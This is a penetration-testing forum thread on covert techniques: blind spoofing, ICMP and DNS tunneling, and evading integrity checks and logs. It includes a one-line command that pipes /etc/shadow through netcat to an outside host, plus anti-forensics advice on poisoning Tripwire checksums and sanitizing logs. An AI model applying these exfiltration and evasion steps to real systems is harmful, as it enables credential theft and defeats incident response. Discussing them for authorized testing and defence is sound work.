After reading a few posts on this forum where people (aka sil) are talking about the importance of being covert while performing penetration tests, I started to make some quick researches on the web about covert techniques. I already know a bit about it, but really not that much...

To my surprise, I had a hard time finding anything! (but I am at work and some good sites are blocked...).

And since this topic will more than likely be useful to many people, I decided to start a thread dedicated on the subject.

For a wireless attack, I'd make sure your system attack system isn't screaming it's head off as soon as you connect.

I've been playing with my wireless lab, one box monitoring traffic only, and one box to attack the lab (wanted to see what the attack looked like). As soon as I joined the wireless network, my attack box (debian) started doing NTP requests, update requests, tried to connect to google (when I opened the browser), and other things.

It was all based on how I have the box set up, but still didn't think it was being that noisy.

So let's look at the realities of being covert, not really "doable" per-se, but accomplishable. In order to understand being/remaining covert it, you need to understand networking for the technical problems and common sense from the penetration testing - I need to get this done, side.

In order not to "get flagged/caught," you need to know that unless you blindly spoof with 100% assurance that your exploit will work on the other side, it's a very difficult almost impossible task to remain 100% invisible.

As many will know, when you spoof tcp/udp/icmp/ip as a whole, you can never see the return information. You were never and will never be, the intended recipient. So this is what occurs for those who are unfamiliar with it:

Since I'm on the network, I can turn on a sniffer and depending on how the network is configured, I can see those two hosts responding to one another. (If VLANs aren't properly configured, if I MITMd the router, etc.)

This will allow me to see what transpires during this attack. So what can I do? I can blind spoof say an exploit as someone else and watch sniffer output results on the way back and forth. If I see that via sniffing the exploit was successful, I know I can continue blindly spoofing to my heart's content. Because I am not visible, even if detected, I am never blocked, someone else is. Also, I'd positively know that my exploit worked, so that any other host I choose to use is successful. On the way back out, I can create reverse connections in the same manner. (Blindly going on knowing I will successfully go out).

Without getting into too much detail about programs or specific commands, imagine me sending a raw nc out out ANYWHERE:

more /etc/shadow | nc google.com 80

Makes no sense eh? Why not? If sniffing on the network I get to see the output. Obviously Google.com has nothing to do with the shadow file. There is no target to attribute the attack to. I still get what I needed.

Now the output of the shadow file is an html comment inside of a webpage. You can use a proxy to view the webpage. There are a lot of ways to be covert. BOSH [1] is also good for stuff like this. So its not about "not being detected" as that is difficult. You will either need to blend in with the crowd, or use blind spoofiing + creativity to overcome being blocked.

Not that I've ever had a reason to but I've always been told that's what UDP spoof, fire and forget is for. Makes sense in theory but I would imagine would take some work in a lab beforehand to understand what kind of traffic you should be sending/fake-responding to.

tturner... The issue/beauty/benefit of using UDP is because its not monitored as much. Most client/server connections, whether legit or not are largely going to be using TCP for error correction. UDP is painless however, when xferring data, the last thing you want is corruption. ICMP tunneling is great because ICMP is largely unmonitored OUTBOUND (leaving a network) so it makes for nice tunneling however, it all boils down to your transfer rates, destinations, etc. Now, DNS shoveling whole nother ballgame too but its complicated.

I think the best way to maintain a low key profile is to blend in however, if this not possible, then its ALWAYS a must to plan ahead: 1) What is my goal (xfer data as a PoC, pivot through the network, upload a token of proof, etc) 2) How can I accomplish this... 3) How can I accomplish this blindly... What commands WOULD I use in my lab, and what would I see as the outcome if I were defending the target.

It always pays to wargame yourself... ALWAYS. Breaking in is sort of the easy part, defending is the hard part. Now take that concept (defending) and when you're comfortable, attack your defense. Rinse and repeat. Eventually you'll get more used to dealing with matters of "covert/needle in the haystack, etc. However, you need to understand what is being seen when you attack in order to tweak this. This is why SIEM, syslog, tail -fing logs, wireshark and network analysis comes in handy. Which reminds me... I should knock out the CWNA soon.

Yeah in almost every environment that locked down all the tcp/udp stuff they almost always allow outbound ICMP, maybe because "ping google.com" is step 2 in their network troubleshooting scripts. I was looking at buying a couple pwn plugs from http://pwnieexpress.com/ and the ability to natively tunnel SSH over ICMP was a big plus for me (If you use the 3G version it will send me a SMS message when the tunnel comes up, how cool is that?). Yes I know this can be done without their solution - but it's already setup more or less.

I started work on CWNA via self study a couple years ago and then got sidetracked by the SANS wireless track (SEC617). It's been on my radar to followup but never got around to it. If I'm not mistaken fellow forum member JrGong is a CWNA. It seems like a good program.

tturner wrote:If I'm not mistaken fellow forum member JrGong is a CWNA. It seems like a good program.

Well, I've known Laura for over 10 years now since the days she used to write for Cisco and I can say that, she is the defacto network forensics expert if I've ever known one. She's also really down to earth. For the most part, many in this field (security) skimp on the networking side of the equation almost forgetting that without a network 99.9999% of the "hack" doesn't exist.

Plugs are cool however I almost always find that there will be a high ratio (above 95%) of client side attacks available to get a foot in the door. As for SSH'ing over anything, I try not to introduce any applications into an environment in case there is a file integrity mechanism (Tripwire, etc) in place.

tturner wrote:I started work on CWNA via self study a couple years ago and then got sidetracked by the SANS wireless track (SEC617). It's been on my radar to followup but never got around to it. If I'm not mistaken fellow forum member JrGong is a CWNA. It seems like a good program.

I think sil meant WCNA, the Wireshark cert.

CWNA provides a pretty good foundation for 802.11. However, the CWSP focused a lot on the EAP types and configuration. There wasn't much regarding different attacks, intrusion detection, etc.

This will allow me to see what transpires during this attack. So what can I do? I can blind spoof say an exploit as someone else and watch sniffer output results on the way back and forth. If I see that via sniffing the exploit was successful, I know I can continue blindly spoofing to my heart's content. Because I am not visible, even if detected, I am never blocked, someone else is. Also, I'd positively know that my exploit worked, so that any other host I choose to use is successful. On the way back out, I can create reverse connections in the same manner. (Blindly going on knowing I will successfully go out).

Answers to problem always look so easy when they are explained to you... Thanks sil, very good explaination!!!

t always pays to wargame yourself... ALWAYS. Breaking in is sort of the easy part, defending is the hard part. Now take that concept (defending) and when you're comfortable, attack your defense. Rinse and repeat. Eventually you'll get more used to dealing with matters of "covert/needle in the haystack, etc.

That was my goal, after reading this post!

Another thing, I guess it pays a lot know what protections are in place. Like sil mentioned, if Tripwire is installed, it's good to know what the tool does and what you can't do. Same thing with antivirus. Knowing which one is installed can probably help you craft your exploits accordingly (I am doing OSCE right now ). Erasing logs is also another good thing IF it is possible.

H1t M0nk3y wrote:Erasing logs is also another good thing IF it is possible.

I don't bother with this as it is a wasted time and I will explain why. In a properly designed network, log files should never be written locally. They should be written to a remote host that is well defended, either via Syslog-ng, Snare or similar. This allows the incident response team to have untainted information in the sense that an attacker would then have to break into the syslog server to remove their tracks. This is one of the biggest failures in environments (not properly logging).

With that said, the alternative would be to generate heaps of bogus data to keep an analyst overwhelmed with trying to determine what went on. For instances like Tripwire, the work around would be to poison the checksums across the whole board. This could mean something as simple as using the random command to randomly touch (with a random date) every single binary on a system. This will lead an analyst to trust nothing as their POV will be that everything is tainted.

I wrote a quick script similar to Tripwire a while back as a proof of concept for myself. (http://infiltrated.net/scripts/saki.html) The script calculates three distinct checksums in the event of MD5 or SHA1 collisions. (It also used RMD160 checksums). It is called from crontab, makes a quick check, does a diff from the original file which is run prior to deployment. It does great to protect against collisions, but nothing against attacks like timestomp, etc.

So while erasing logs may work sometimes, it does nothing for the defense-counter-offense vector. All it tells your client is that their defense is lagging. This is evident because you're in their house anyway. An optional workaround to HIDING your tracks would be scripting in a "cleanup" like function to regex replace your identifiable information with bogus info. E.g.:

Something to that tune. This ensures that on your way in and out, your identifiable information is sanitized (not erased). Again, this does nothing for remote logging however, as explained, blind tcp spoofing when done properly can defend against this. As for the shadow file embedded into HTML, this defeats most DLP as nothing is ever copied, moved, transferred and applies to all documents protected by DLP.

As for the CWNA. WCNA... Too many acronyms... I meant the Wireshark Certified Network Analyst sorry

Thanks again Sil. I put the "if" in capital letters because I was thinking about remote logging, but this:

With that said, the alternative would be to generate heaps of bogus data to keep an analyst overwhelmed with trying to determine what went on. For instances like Tripwire, the work around would be to poison the checksums across the whole board.

This shows another side of being covert.

I now get the point that being "covert" could mean being all dressed up in camouflage and crawling in the woods, but it can also mean walking in plain sight in the middle of a crowd. in addition, you can be "covert" if you walk alone in plain sight, as long as you can delete the video recording tapes!

H1t M0nk3y wrote:Same thing with antivirus. Knowing which one is installed can probably help you craft your exploits accordingly (I am doing OSCE right now ).

I just learned of that yesterday while listening to the ISD podcast, ep361! They were talking about the Hartford breach and how the press release they sent out gave the vendor specific name of the virus rather than just the generic name. Which in turn tells everybody which AV solution you're using. That's good to know...

And those are some great tips, Sil - thanks!

Last edited by lorddicranius on Tue Apr 12, 2011 5:17 pm, edited 1 time in total.